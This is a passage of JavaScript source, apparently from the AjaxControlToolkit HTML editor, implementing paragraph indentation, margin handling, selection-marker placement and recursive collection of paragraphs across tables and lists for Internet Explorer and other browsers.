        operateCollectedParagraphs();

    this.setSelectionAfterOperation(pars, needJoiner);
}

AjaxControlToolkit.HTMLEditor.MSIE_indent = function(increase) {
    var paragraphs          = this.get_paragraphs();
    var pars                = this.getSelectionAfterOperation(paragraphs);
    var currentParent       = null;
    var collectedParagraphs = [];
    var editor              = this;
    var needJoiner          = false;

    function getMargin(el) {
        if(el.nodeType==1) {
            var cssEl = (!editor.rtlState())?el.style.marginLeft:el.style.marginRight;
            if(cssEl.length > 0) return parseInt(cssEl);
        }
        return 0;
    }

    function setMargin(el,value) {
        if(el.nodeType==1) {
            if(el.tagName.toUpperCase()=="P" && value=="") value="0px";
            if(!editor.rtlState())
                el.style.marginLeft = value;
            else
                el.style.marginRight= value;
        }
    }

    function changeMargin(el) {
        if(increase)
            setMargin(el,(getMargin(el)+40)+"px");
        else {
            if(el.tagName.toUpperCase()=="P") {
                if(getMargin(el) >= 40)
                    setMargin(el,(getMargin(el)-40)+"px");
                else
                    setMargin(el,"0px");
            }
            else {
                if(getMargin(el) > 40)
                    setMargin(el,(getMargin(el)-40)+"px");
                else
                    setMargin(el,"");
            }
        }
    }

    function completeDiv(div) {
        if(div != null)
        if(div.childNodes==1 && (div.firstChild==pars[0] || div.firstChild==pars[1])) {
            div.parentNode.insertBefore(div.firstChild, div);
            div.parentNode.removeChild(div);
        }
    }

    function operateCollectedParagraphs() {
        var firstChild = currentParent.firstChild;
        var lastChild  = currentParent.lastChild;
        if( // if all paragraps(them only) are in one parent already
            currentParent.tagName && !AjaxControlToolkit.HTMLEditor.isInlineElement(currentParent) &&
            collectedParagraphs[0][0] == firstChild &&
            collectedParagraphs[collectedParagraphs.length-1][collectedParagraphs[collectedParagraphs.length-1].length-1] == lastChild
        ) {
            var textAlign = "";

            if(currentParent.getAttribute("align") && currentParent.getAttribute("align").length > 0)
                textAlign = currentParent.getAttribute("align");

            if(currentParent.align && currentParent.align.length > 0)
                textAlign = currentParent.align;

            if(currentParent.style.textAlign && currentParent.style.textAlign.length > 0)
                textAlign = currentParent.style.textAlign;

            if((textAlign.toLowerCase()=="left" && !editor.rtlState()) || (textAlign.toLowerCase()=="right" && editor.rtlState())) textAlign = "";

            currentParent.align = "";
            currentParent.setAttribute("align", "");
            currentParent.removeAttribute("align");

            changeMargin(currentParent);
            
            var curTagName = currentParent.tagName.toUpperCase();

            // can we remove parent element?
            if((curTagName == "DIV" || curTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(currentParent)) && textAlign == "") {
                if(editor.tryUnWrap(currentParent,pars)) needJoiner=true;
            } else {
                if(textAlign != "" || (curTagName=="LI" && currentParent.parentNode.style.textAlign.length>0 ))
                    currentParent.style.textAlign = textAlign;
                else
                    currentParent.style.textAlign = "";

                if(curTagName=="LI") {
                    var list    = currentParent.parentNode;
                    var margins = [];
                    for(var jn=0; jn < list.childNodes.length; jn++)
                        margins.push(getMargin(list.childNodes.item(jn)));

                    var jj=1;
                    for(; jj < margins.length; jj++)
                        if(margins[jj-1] != margins[jj]) break;

                    if(jj==margins.length) {
                        var margin = (margins[0]==0)?"":(margins[0]+"px");
                        for(var j=0; j < list.childNodes.length; j++)
                            setMargin(list.childNodes.item(j),"");

                        setMargin(list, margin);
                    }
                }
            }
        } else {
            for(var i=0; i < collectedParagraphs.length ; i++) {
                var div = null;
                var paragraph = collectedParagraphs[i];
                for(var j=0; j < paragraph.length; j++) {
                    var element = paragraph[j];
                    var elementTagName = (element.nodeType == 1 && element.tagName)?element.tagName.toUpperCase():null;

                    if (elementTagName != null &&
                       (elementTagName == "UL" || elementTagName == "OL"  ||
                        elementTagName == "DL" || elementTagName == "DIV" || AjaxControlToolkit.HTMLEditor.isHeader(element) ||
                        elementTagName == "P"  || elementTagName == "LI"
                       )
                    ) {
                        completeDiv(div);
                        div = null;

                        changeMargin(element)

                        if(elementTagName == "UL" || elementTagName == "OL" || elementTagName == "DL") {
                            for(var jk=0; jk < element.childNodes.length; jk++) {
                                var li = element.childNodes.item(jk);

                                if(li.nodeType==1) {
                                    setMargin(li, "");

                                    for(var kk=0; kk < li.childNodes.length; kk++) {
                                        var child = li.childNodes.item(kk);

                                        var textAlign = (child.nodeType==1)?element.style.textAlign:"";
                                        if((textAlign.toLowerCase()=="left" && !editor.rtlState()) || (textAlign.toLowerCase()=="right" && editor.rtlState())) textAlign = "";

                                        if(child.nodeType==1) {
                                            setMargin(child, "");
                                            if(textAlign == "" && child.tagName) {
                                                var childTagName = child.tagName.toUpperCase();
                                                if (childTagName == "DIV" || childTagName == "P") {
                                                    if(editor.tryUnWrap(child,pars)) needJoiner=true;
                                                }
                                            }
                                        }
                                    }
                                }
                            }

                            continue;
                        } else if(elementTagName=="LI") {
                            var list    = element.parentNode;
                            var margins = [];
                            for(var jn=0; jn < list.childNodes.length; jn++)
                                margins.push(getMargin(list.childNodes.item(jn)));

                            var jj=1;
                            for(; jj < margins.length; jj++)
                                if(margins[jj-1] != margins[jj]) break;

                            if(jj==margins.length) {
                                var margin = (margins[0]==0)?"":(margins[0]+"px");
                                for(var j=0; j < list.childNodes.length; j++)
                                    setMargin(list.childNodes.item(j),"");

                                setMargin(list, margin);
                            }

                            continue;
                        }

                        var textAlign = element.style.textAlign;
                        if((textAlign.toLowerCase()=="left" && !editor.rtlState()) || (textAlign.toLowerCase()=="right" && editor.rtlState())) textAlign = "";

                        // can we remove DIV or P ?
                        if((elementTagName == "DIV" || elementTagName == "P" || AjaxControlToolkit.HTMLEditor.isHeader(element)) && textAlign == "") {
                            if(editor.tryUnWrap(element,pars)) needJoiner=true;
                        }
                    } else {
                        if(increase) {
                            if(div == null) {
                                div = editor._doc.createElement(editor.dfltBlockElement);
                                if(editor.dfltBlockElement.toUpperCase()=="P") div.style.margin  = "0px";
                                changeMargin(div);
                                element.parentNode.insertBefore(div,element);
                            }

                            var actualLength = (paragraph[paragraph.length-1]==pars[1])?paragraph.length-1:paragraph.length;
                            var actualStart  = (paragraph[0]==pars[0])?1:0;

                            if(elementTagName == "BR" && j == actualLength-1 && j==actualStart) {
                                if(AjaxControlToolkit.HTMLEditor.isIE) {
                                    div.appendChild(editor._doc.createTextNode(String.fromCharCode(160)));
                                    element.parentNode.removeChild(element);
                                } else
                                    div.appendChild(element);
                            } else if(elementTagName == "BR" && j == actualLength-1 && j>actualStart)
                                        element.parentNode.removeChild(element);
                                    else
                                        div.appendChild(element);

                            if(elementTagName == "BR" && j == paragraph.length-1) {
                                completeDiv(div);
                                div = null;
                            }

                            if(element == pars[1] && j == paragraph.length-1) {
                                completeDiv(div);
                                div = null;
                            }
                        }
                    }
                }
            }
        }
    }

    for(var i=0; i < paragraphs.length; i++) {
        var paragraph = paragraphs[i];

        if(paragraph.length > 0) {
            if(paragraph[0].parentNode != currentParent) {
                if(collectedParagraphs.length > 0)
                    operateCollectedParagraphs();

                collectedParagraphs = [];
                currentParent = paragraph[0].parentNode;
            }

            collectedParagraphs.push(paragraph);
        }
    }

    if(collectedParagraphs.length > 0)
        operateCollectedParagraphs();

    this.setSelectionAfterOperation(pars,needJoiner);
};

AjaxControlToolkit.HTMLEditor.getSelectionAfterOperation = function(paragraphs) {
    if(paragraphs.length==0) return[];

    var lPoint    = this._doc.createElement("SPAN");
    var rPoint    = this._doc.createElement("SPAN");
    var initFirst = paragraphs[0][0];
    var initLast  = paragraphs[paragraphs.length-1][paragraphs[paragraphs.length-1].length-1];

    if(initFirst==initLast && initLast.nodeType==1 && initLast.childNodes.length==0 && AjaxControlToolkit.HTMLEditor.canHaveChildren(initLast)) {
        initLast.appendChild(lPoint);
        initLast.appendChild(rPoint);
    } else {
        var firstest = AjaxControlToolkit.HTMLEditor._getReallyFirst(initFirst);

        firstest.parentNode.insertBefore(lPoint,firstest);

        if(firstest == initFirst) {
            var sv = [];
            sv.push(lPoint);
            for(var i=0; i<paragraphs[0].length; i++)
                sv.push(paragraphs[0][i]);

            paragraphs[0] = sv;
        }

        var lastest = AjaxControlToolkit.HTMLEditor._getReallyLast(initLast);

        if(lastest.nextSibling)
            lastest.parentNode.insertBefore(rPoint,lastest.nextSibling);
        else
            lastest.parentNode.appendChild(rPoint);

        if(lastest == initLast) {
            paragraphs[paragraphs.length-1].push(rPoint)
        }
    }
    return [lPoint,rPoint];
};

AjaxControlToolkit.HTMLEditor.setSelectionAfterOperation = function(pars, needJoiner) {
    if(pars.length==0) return;

    var lPoint = pars[0];
    var rPoint = pars[1];

    var sel   = this._getSelection();
    var text1 = null;
    var text2 = null;

    if(AjaxControlToolkit.HTMLEditor.isIE) {
        sel.empty();
        sel   = this._getSelection();  
        var range1= this._createRange(sel);
        var range2= this._createRange(sel);

        try {
            if(lPoint != null && rPoint != null && lPoint.nextSibling == rPoint) {
                text1 = this._doc.createTextNode(" ");
                rPoint.parentNode.insertBefore(text1,rPoint);
            }

            this._TcurrentFormat = null;

            if(lPoint != null) {
                range1.moveToElementText(lPoint);
            }

            if(rPoint != null) {
                range2.moveToElementText(rPoint);
            }

            if(lPoint != null && rPoint != null) {
                range1.setEndPoint("EndToStart", range2);
                range1.select();
                if(text1 != null) {
                    range1.collapse(false);
                    range1.select();
                    text1.parentNode.removeChild(text1);
                }
            } else
                if(lPoint != null) range1.select();
                else
                    if(rPoint != null) range2.select();
        } catch(ex) {}
    } else {
        try {
            var range;
            var next = lPoint.nextSibling;
            var prev = rPoint.previousSibling

            this._TcurrentFormat = null;

            if(next == prev && next.nodeType == 1 && next.tagName.toUpperCase()=="BR") {
                var ind = AjaxControlToolkit.HTMLEditor.__getIndex(next);
                range  = this._doc.createRange();
                range.setStart(next.parentNode,ind);
                range.setEnd  (next.parentNode,ind);
            } else {
                text1 = this._doc.createTextNode("");
                text2 = this._doc.createTextNode("");

                lPoint.parentNode.insertBefore(text1,lPoint);
                rPoint.parentNode.insertBefore(text2,rPoint);

                range  = this._doc.createRange();
                range.setStart(text1,0);
                range.setEnd  (text2,0);
            }

            this._removeAllRanges(sel);
            this._selectRange(sel,range);
        } catch(ex){}
    }

    var fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent((lPoint==null)?rPoint:lPoint,(rPoint==null)?lPoint:rPoint);
    var parent = null;

    if(fnd != null) {
        parent = fnd.parent;
    }

    if(lPoint != null) lPoint.parentNode.removeChild(lPoint);
    if(rPoint != null) rPoint.parentNode.removeChild(rPoint);

    if(needJoiner && parent != null) {
        AjaxControlToolkit.HTMLEditor.spanJoiner(parent,this._doc);

        if(!AjaxControlToolkit.HTMLEditor.isIE && text1 != null && text2 !=null) {
            var range  = this._doc.createRange();
            range.setStart(text1,0);
            range.setEnd  (text2,0);

            this._removeAllRanges(sel);
            this._selectRange(sel,range);
        }
    }
};

AjaxControlToolkit.HTMLEditor.get_paragraphs = function() {
    this._TcurrentFormat = null;
    var paragraphs = this.getPseudoP();

    if(paragraphs.length == 0) {
        try {
            var str = "<span id='"+AjaxControlToolkit.HTMLEditor.smartClassName+"_ll'></span><span id='"+AjaxControlToolkit.HTMLEditor.smartClassName+"_rr'></span><br>";
            this.insertHTML(str);
            var lPoint = this._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName+"_ll");
            var rPoint = this._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName+"_rr");

            var sv = this._TcurrentFormat;
            this._TcurrentFormat = null;
            this.setSelectionAfterOperation([lPoint,rPoint], false);
            this._TcurrentFormat = sv;
            paragraphs = this.getPseudoP();
        } catch(ex) {}
    }

    return paragraphs;
};

AjaxControlToolkit.HTMLEditor.getPseudoP = function() {
    var result = [];
    try {
        var sel   = this._getSelection();
        var range = this._createRange(sel);

        // ids for bound markers
        var rn=AjaxControlToolkit.HTMLEditor.smartClassName+"_right";
        var ln=AjaxControlToolkit.HTMLEditor.smartClassName+"_left";

        // bound ranges
        var r_left = null;
        var r_right= null;

        // get bound ranges
        if(AjaxControlToolkit.HTMLEditor.isIE) {
            if(sel.type.toLowerCase() != "control") {
                r_left =range.duplicate();
                r_right=range.duplicate();
                r_left .setEndPoint("EndToStart",range);
                r_right.setEndPoint("StartToEnd",range);
            }
        } else {
            r_left =range.cloneRange();
            r_right=range.cloneRange();
            r_left .setEnd  (r_left .startContainer,r_left .startOffset);
            r_right.setStart(r_right.endContainer  ,r_right.endOffset  );
        }

        var lPoint = null;
        var rPoint = null;

        // insert markers
        if(AjaxControlToolkit.HTMLEditor.isIE && sel.type.toLowerCase() == "control") {
            var control =range.item(0);
            var cspan;

            cspan = this._doc.createElement("SPAN");
            cspan.id = ln;
            control.parentNode.insertBefore(cspan,control);

            cspan = this._doc.createElement("SPAN");
            cspan.id = rn;
            if(control.nextSibling == null)
                control.parentNode.appendChild(cspan);
            else
                control.parentNode.insertBefore(cspan,control.nextSibling);
        } else {
            if(!this.insertHTML("<span id='"+rn+"'/>",r_right)) return [];
            if(!this.insertHTML("<span id='"+ln+"'/>",r_left )) {
                var rP = this._doc.getElementById(rn);
                if(rP!=null) {
                    temp=rP.parentNode;
                    temp.removeChild(rP);
                }
                return [];
            }
        }

        // get markers
        lPoint = this._doc.getElementById(ln);
        rPoint = this._doc.getElementById(rn);

        if(lPoint != null && rPoint != null) {
            while(lPoint.nextSibling == null) {
                if(lPoint.parentNode.nextSibling)
                    lPoint.parentNode.parentNode.insertBefore(lPoint,lPoint.parentNode.nextSibling);
                else
                    lPoint.parentNode.parentNode.appendChild(lPoint);
            }
        }

        if(lPoint != null && rPoint != null) {
            while(rPoint.previousSibling == null)
                rPoint.parentNode.parentNode.insertBefore(rPoint,rPoint.parentNode);

            if(rPoint.previousSibling.nodeType==1) {
                var tagName = rPoint.previousSibling.tagName.toUpperCase();
                if(tagName!="BR" && tagName!="IMG") {
                    var last = AjaxControlToolkit.HTMLEditor._getReallyLast(rPoint.previousSibling);
                    if(last.nodeType==1 && AjaxControlToolkit.HTMLEditor.canHaveChildren(last))
                        last.appendChild(rPoint);
                    else
                        last.parentNode.appendChild(rPoint);
                }
            }

            if(rPoint.previousSibling && rPoint.previousSibling.nodeType==1 && rPoint.previousSibling.tagName.toUpperCase()=="BR")
                rPoint.parentNode.insertBefore(rPoint,rPoint.previousSibling);
        }

        if(lPoint == null) {
            var span = this._doc.createElement("SPAN");
            span.id  = ln;
            rPoint.parentNode.insertBefore(span,rPoint);
            lPoint = span;
        }
        if(rPoint == null) {
            var span = this._doc.createElement("SPAN");
            span.id  = rn;

            if(lPoint.nextSibling)
                lPoint.parentNode.insertBefore(span,lPoint.nextSibling);
            else
                lPoint.parentNode.appendChild (span);

            rPoint = span;
        }

        if(lPoint != null && rPoint != null) {
            if(lPoint.parentNode == rPoint) {
                rPoint.parentNode.insertBefore(lPoint,rPoint);
            }
            else if(rPoint.parentNode == lPoint) {
                if(lPoint.nextSibling != null)
                    lPoint.parentNode.insertBefore(rPoint,lPoint.nextSibling);
                else
                    lPoint.parentNode.appendChild(rPoint);
            }
        }

        while(lPoint.nextSibling != null && lPoint.nextSibling.nodeType==3 && (""+lPoint.nextSibling.data+"").length==0)
            lPoint.parentNode.removeChild(lPoint.nextSibling);


        if(this._TcurrentFormat == null && lPoint != null && rPoint != null && lPoint.nextSibling == rPoint) {
            var par    = rPoint.parentNode;

            this._TcurrentFormat = null;

            while (par && par.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName)) {
                if(par.tagName.toUpperCase() != "A") {
                    var temp = par.cloneNode(false);
                    if(this._TcurrentFormat == null) {
                        this._TcurrentFormat = temp;
                    } else {
                        temp.appendChild(this._TcurrentFormat);
                        this._TcurrentFormat = temp;
                    }
                }

                par = par.parentNode;
            }

            if(this._TcurrentFormat) {
                var sspan = this._doc.createElement("span");
                sspan.appendChild(this._TcurrentFormat);
                this._TcurrentFormat = sspan.innerHTML;
            }
        }

        // try to move markers to pseudo paragraphs bounds

        var telem = lPoint;
        while(telem && telem.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(telem.tagName) && (telem.tagName.toUpperCase() != "A")) {
            telem = telem.parentNode;
        }

        if(telem != null && telem.tagName.toUpperCase()=="P") {
            if(telem.firstChild != null)
                telem.insertBefore(lPoint,telem.firstChild);
            else
                telem.appendChild(lPoint);
        } else
            AjaxControlToolkit.HTMLEditor.positionInParagraph(lPoint,lPoint.previousSibling,true ,lPoint.parentNode);

        telem = rPoint;
        while(telem && telem.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(telem.tagName) && (telem.tagName.toUpperCase() != "A")) {
            telem = telem.parentNode;
        }

        if(telem != null && telem.tagName.toUpperCase()=="P") {
            telem.appendChild(rPoint);
        } else
            AjaxControlToolkit.HTMLEditor.positionInParagraph(rPoint,rPoint.nextSibling    ,false,rPoint.parentNode);

        result = this.getPseudoP_Recur(lPoint, rPoint, 0);

        var lpTagName = lPoint.parentNode.tagName.toUpperCase();
        if (result.length==0 && lPoint.previousSibling==null && rPoint.nextSibling==null && 
            lPoint.nextSibling==rPoint && (lpTagName=="P" || llpTagName=="DIV" || lpTagName=="LI")
        )
            result = [[lPoint.parentNode]];

        // set selection
        if(AjaxControlToolkit.HTMLEditor.isIE) {
            sel.empty();

            sel   = this._getSelection();  
            var range1= this._createRange(sel);
            var range2= this._createRange(sel);

            try {
                if(lPoint != null) range1.moveToElementText(lPoint);
                if(rPoint != null) range2.moveToElementText(rPoint);

                if(lPoint != null && rPoint != null) {
                    range1.setEndPoint("EndToEnd", range2);
                    range1.select();
                } else if(lPoint != null) range1.select();
                        else
                            if(rPoint != null) range2.select();
            } catch(e) {}
        }

        // remobe bound markers
        if(lPoint != null) lPoint.parentNode.removeChild(lPoint);
        if(rPoint != null) rPoint.parentNode.removeChild(rPoint);
    } catch(e) {
        var spans = this._doc.getElementsByTagName("SPAN");
        var del   = [];

        for(var i=0; i < spans.length; i++) {
            var span = spans[i];
            if(span.id && span.id.length > 0) {
                var reg = new RegExp(AjaxControlToolkit.HTMLEditor.smartClassName,"ig");
                if(reg.test(span.id))
                    del.push(span);
            }
        }

        for(var i=0; i < del.length; i++)
            del[i].parentNode.removeChild(del[i]);
    }

    return result;
};

AjaxControlToolkit.HTMLEditor.getPseudoP_Recur = function(lPoint,rPoint,r_level) {
    var result = [];

    // bound elements
    var lBound = lPoint;
    var rBound = (rPoint.nextSibling != null && rPoint.nextSibling.tagName && rPoint.nextSibling.tagName.toUpperCase()=="BR")?rPoint.nextSibling:rPoint;

    // find coomon parent of the bound elements
    var fnd = null;

    if(lBound==null || rBound==null) {
        if(lBound!=null) {
            fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent(lBound,lBound);
        }

        if(rBound!=null) {
            fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent(rBound,rBound);
        }
    } else
        fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent(lBound,rBound);

    if(fnd != null) { // common parent found
        //where are the bound elements?
        lBound = AjaxControlToolkit.HTMLEditor.getContainer(fnd.parent.childNodes.item(fnd.indexFirst),lBound);
        rBound = AjaxControlToolkit.HTMLEditor.getContainer(fnd.parent.childNodes.item(fnd.indexLast ),rBound);

        // move them up
        AjaxControlToolkit.HTMLEditor.unStyle(lBound);
        AjaxControlToolkit.HTMLEditor.unStyle(rBound);

        while(lBound.parentNode != fnd.parent) lBound = lBound.parentNode;
        while(rBound.parentNode != fnd.parent) rBound = rBound.parentNode;

        // move up all non inline elements (<br>,<div>,<table> ...)
        AjaxControlToolkit.HTMLEditor._moveTagsUp(lBound.nextSibling,rBound);

        fnd = null;

        // optimize spans
        if(lPoint==null || rPoint==null) {
            if(lPoint!=null) {
                fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent(lPoint,lPoint);
            }

            if(rPoint!=null) {
                fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent(rPoint,rPoint);
            }
        } else
            fnd = AjaxControlToolkit.HTMLEditor._commonTotalParent(lPoint,rPoint);

        if(fnd != null) {
            AjaxControlToolkit.HTMLEditor.spanJoiner(fnd.parent,this._doc,fnd.indexFirst,fnd.indexLast+1, true);
        }

        // prepare output array
        function _dive1(next) {
            if(!AjaxControlToolkit.HTMLEditor.isInlineElement(next)) {
                return true;
            }
            else if(next.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(next.tagName) && (next.tagName.toUpperCase() != "A") && !AjaxControlToolkit.HTMLEditor.isTempElement(next)) {
                var nnn = next.firstChild;
                while(nnn != null) {
                    nnnNext = nnn.nextSibling;
                    var temp = _dive1(nnn);
                    if(temp) return true;
                    nnn = nnnNext;
                }
            }
            return false;
        }

        var arrIndex = 0;
        var subArr   = [];
        var subIndex = 0;

        if(lBound.tagName && rBound.tagName) {
            var lBoundTagName = lBound.tagName.toUpperCase();
            var rBoundTagName = rBound.tagName.toUpperCase();
            if((lBoundTagName == "TD" || lBoundTagName == "TR") &&
               (rBoundTagName == "TD" || rBoundTagName == "TR")
            ) {
                while(lBound.tagName.toUpperCase() != "TABLE") lBound = lBound.parentNode;
                rBound = lBound;
            } else {
                if((lBoundTagName == "DD" || lBoundTagName == "DT") &&
                   (rBoundTagName == "DD" || rBoundTagName == "DT")
                ) {
                    while(lBound.tagName && lBound.tagName.toUpperCase() != "DL") lBound = lBound.parentNode;
                    rBound = lBound;
                } else {
                    if((lBoundTagName == "LI") && (rBoundTagName == "LI")) {
                        while(lBoundTagName != "UL" && lBoundTagName != "OL") {
                            lBound = lBound.parentNode;
                            lBoundTagName = (lBound.tagName)?lBound.tagName.toUpperCase():null;
                        }
                        rBound = lBound;
                    }
                }
            }
        }

        var fromPoint = lPoint?lPoint:rPoint;
        var toPoint   = rPoint?rPoint:lPoint;
        var next      = lBound;

        while(true) {
            if(!AjaxControlToolkit.HTMLEditor.isTempElement(next)) {
                var isBlock = _dive1(next);

                if(!isBlock) {
                    if(next.nodeType && next.nodeType==3) {
                        var str = ""+next.data+"";

                        if(str.length==0 || /^[\n\r]+$/.test(str)) {
                            var tempNext = next.nextSibling;

                            next.parentNode.removeChild(next);
                            if(next==rBound) break;
                            next = tempNext;
                            continue;
                        }
                    }
                    subArr[subIndex] = next;
                    subIndex++;
                } else {
                    if(next.tagName && next.tagName.toUpperCase()=="BR") {
                        subArr[subIndex] = next;
                        result[arrIndex] = subArr;
                        arrIndex++;
                        subArr   = [];
                        subIndex = 0;
                    }
                    else
                    if( (next==rBound || next==lBound) &&
                      !((next==rBound && next==lBound)?(AjaxControlToolkit.HTMLEditor._reallyFirst(next,fromPoint) && AjaxControlToolkit.HTMLEditor._reallyLast(next,toPoint))
                       :(AjaxControlToolkit.HTMLEditor._reallyFirst(next,fromPoint) || AjaxControlToolkit.HTMLEditor._reallyLast(next,toPoint))
                      )
                    ) {
                        var nextTagName = (next.tagName)?(next.tagName.toUpperCase()):null;
                        if(nextTagName== "TABLE" || nextTagName== "TBODY") {
                            var table = next;

                            while(table.tagName.toUpperCase() != "TABLE") table = table.parentNode;

                            var fromCellIndex = 0;
                            var fromRowIndex  = 0;
                            var toCellIndex   = table.rows.item(table.rows.length-1).cells.length-1;
                            var toRowIndex    = table.rows.length-1;

                            // find cells with start/end of selection in the Table
                            for(var i=0; i<table.rows.length; i++) {
                                var row = table.rows.item(i);
                                var j=0;
                                for(; j<row.cells.length; j++) {
                                    var cell = row.cells.item(j);
                                    if(AjaxControlToolkit.HTMLEditor._lookChild(cell,fromPoint) >= 0) {
                                        fromCellIndex = j;
                                        fromRowIndex  = i;
                                    }
                                    if(AjaxControlToolkit.HTMLEditor._lookChild(cell,toPoint) >= 0) {
                                        toCellIndex = j;
                                        toRowIndex  = i;
                                    }
                                }
                            }

                            // collect pseudo paragraps
                            for(var i=fromRowIndex; i<=toRowIndex; i++)
                            for(var j=((i==fromRowIndex)?fromCellIndex:0); j<=((i==toRowIndex)?toCellIndex:(table.rows.item(i).cells.length-1)); j++) {
                                var cell = table.rows.item(i).cells.item(j);

                                if(subIndex > 0) {
                                    result[arrIndex] = subArr;
                                    arrIndex++;
                                    subArr   = [];
                                    subIndex = 0;
                                }

                                var is_lPoint = (AjaxControlToolkit.HTMLEditor._lookChild(cell,fromPoint) >=0);
                                var is_rPoint = (AjaxControlToolkit.HTMLEditor._lookChild(cell,toPoint  ) >=0);

                                if(is_lPoint || is_rPoint) { // need recursion
                                    var r_lPoint = fromPoint;
                                    var r_rPoint = toPoint;
                                    var rn=AjaxControlToolkit.HTMLEditor.smartClassName+"_right_"+r_level;
                                    var ln=AjaxControlToolkit.HTMLEditor.smartClassName+"_left_" +r_level;

                                    if(is_lPoint) {
                                        r_rPoint    = this._doc.createElement("span");
                                        r_rPoint.id = rn;
                                        cell.appendChild(r_rPoint);
                                    }
                                    if(is_rPoint) {
                                        r_lPoint    = this._doc.createElement("span");
                                        r_lPoint.id = ln;
                                        if(cell.firstChild)
                                            cell.insertBefore(r_lPoint,cell.firstChild);
                                        else
                                            cell.appendChild (r_lPoint);
                                    }

                                    var r_result = this.getPseudoP_Recur(r_lPoint, r_rPoint, r_level+1);

                                    for(var cnt=0; cnt < r_result.length; cnt++) {
                                        result[arrIndex] = r_result[cnt];
                                        arrIndex++;
                                    }

                                    if(r_lPoint != fromPoint) r_lPoint.parentNode.removeChild(r_lPoint);
                                    if(r_rPoint != toPoint  ) r_rPoint.parentNode.removeChild(r_rPoint);
                                } else {
                                    var fromEl = 0;
                                    var toEl   = cell.childNodes.length;

                                    for(var k=fromEl; k<toEl; k++) {
                                        var el = cell.childNodes.item(k);
                                        if(!AjaxControlToolkit.HTMLEditor.isTempElement(el)) {
                                            subArr[subIndex] = el;
                                            subIndex++;
                                        }
                                    }

                                    if(subArr.length > 0) {
                                        result[arrIndex] = subArr;
                                        arrIndex++;
                                        subArr   = [];
                                        subIndex = 0;
                                    }
                                }
                            }
                        }
                        else if(nextTagName== "UL" || nextTagName== "OL" || nextTagName== "DL") {
                            var list      = next;
                            var fromIndex = 0;
                            var toIndex   = list.childNodes.length-1;

                            // find itemss with start/end of selection in the list
                            for(var i=0; i<list.childNodes.length; i++) {
                                var point = list.childNodes.item(i);

                                if(point.nodeType==1) {
                                    if(point==fromPoint || AjaxControlToolkit.HTMLEditor._lookChild(point,fromPoint) >= 0) {
                                        fromIndex  = i;
                                    }
                                    if(point==toPoint || AjaxControlToolkit.HTMLEditor._lookChild(point,toPoint) >= 0) {
                                        toIndex  = i;
                                    }
                                }
                            }

                            // collect pseudo paragraps
                            for(var i=fromIndex; i<=toIndex; i++) {
                                var point = list.childNodes.item(i);

                                if(subIndex > 0) {
                                    result[arrIndex] = subArr;
                                    arrIndex++;
                                    subArr   = [];
                                    subIndex = 0;
                                }

                                var is_lPoint = (AjaxControlToolkit.HTMLEditor._lookChild(point,fromPoint) >=0);
                                var is_rPoint = (AjaxControlToolkit.HTMLEditor._lookChild(point,toPoint  ) >=0);

                                if(is_lPoint || is_rPoint) { // need recursion
                                    var r_lPoint = fromPoint;
                                    var r_rPoint = toPoint;
                                    var rn=AjaxControlToolkit.HTMLEditor.smartClassName+"_right_"+r_level;
                                    var ln=AjaxControlToolkit.HTMLEditor.smartClassName+"_left_" +r_level;

                                    if(is_lPoint) {
                                        r_rPoint    = this._doc.createElement("span");
                                        r_rPoint.id = rn;
                                        point.appendChild(r_rPoint);
                                    }
                                    if(is_rPoint) {
                                        r_lPoint    = this._doc.createElement("span");
                                        r_lPoint.id = ln;
                                        if(point.firstChild)
                                            point.insertBefore(r_lPoint,point.firstChild);
                                        else
                                            point.appendChild (r_lPoint);
                                    }

                                    var r_result = this.getPseudoP_Recur(r_lPoint, r_rPoint, r_level+1);

                                    for(var cnt=0; cnt < r_result.length; cnt++) {
                                        result[arrIndex] = r_result[cnt];
                                        arrIndex++;
                                    }

                                    if(r_lPoint != fromPoint) r_lPoint.parentNode.removeChild(r_lPoint);
                                    if(r_rPoint != toPoint  ) r_rPoint.parentNode.removeChild(r_rPoint);
                                } else {
                                    var fromEl = 0;
                                    var toEl   = point.childNodes.length;

                                    for(var k=fromEl; k<toEl; k++) {
                                        var el = point.childNodes.item(k);
                                        if(!AjaxControlToolkit.HTMLEditor.isTempElement(el)) {
                                            subArr[subIndex] = el;
                                            subIndex++;
                                        }
                                    }

                                    if(subArr.length > 0) {
                                        result[arrIndex] = subArr;
                                        arrIndex++;
                                        subArr   = [];
                                        subIndex = 0;
                                    }
                                }
                            }
                        } else {
                            var is_lPoint = (AjaxControlToolkit.HTMLEditor._lookChild(next,fromPoint) >=0);
                            var is_rPoint = (AjaxControlToolkit.HTMLEditor._lookChild(next,toPoint  ) >=0);

                            if(subIndex > 0) {
                                result[arrIndex] = subArr;
                                arrIndex++;
                                subArr   = [];
                                subIndex = 0;
                            }

                            if(is_lPoint || is_rPoint) { // need recursion
                                var r_lPoint = fromPoint;
                                var r_rPoint = toPoint;
                                var rn=AjaxControlToolkit.HTMLEditor.smartClassName+"_right_"+r_level;
                                var ln=AjaxControlToolkit.HTMLEditor.smartClassName+"_left_" +r_level;

                                if(is_lPoint) {
                                    r_rPoint    = this._doc.createElement("span");
                                    r_rPoint.id = rn;
                                    next.appendChild(r_rPoint);
                                }
                                if(is_rPoint) {
                                    r_lPoint    = this._doc.createElement("span");
                                    r_lPoint.id = ln;
                                    if(next.firstChild)
                                        next.insertBefore(r_lPoint,next.firstChild);
                                    else
                                        next.appendChild (r_lPoint);
                                }

                                var r_result = this.getPseudoP_Recur(r_lPoint, r_rPoint, r_level+1);

                                for(var cnt=0; cnt < r_result.length; cnt++) {
                                    result[arrIndex] = r_result[cnt];
                                    arrIndex++;
                                }

                                if(r_lPoint != fromPoint) r_lPoint.parentNode.removeChild(r_lPoint);
                                if(r_rPoint != toPoint  ) r_rPoint.parentNode.removeChild(r_rPoint);
                            } else {
                                var fromEl = 0;
                                var toEl   = next.childNodes.length;

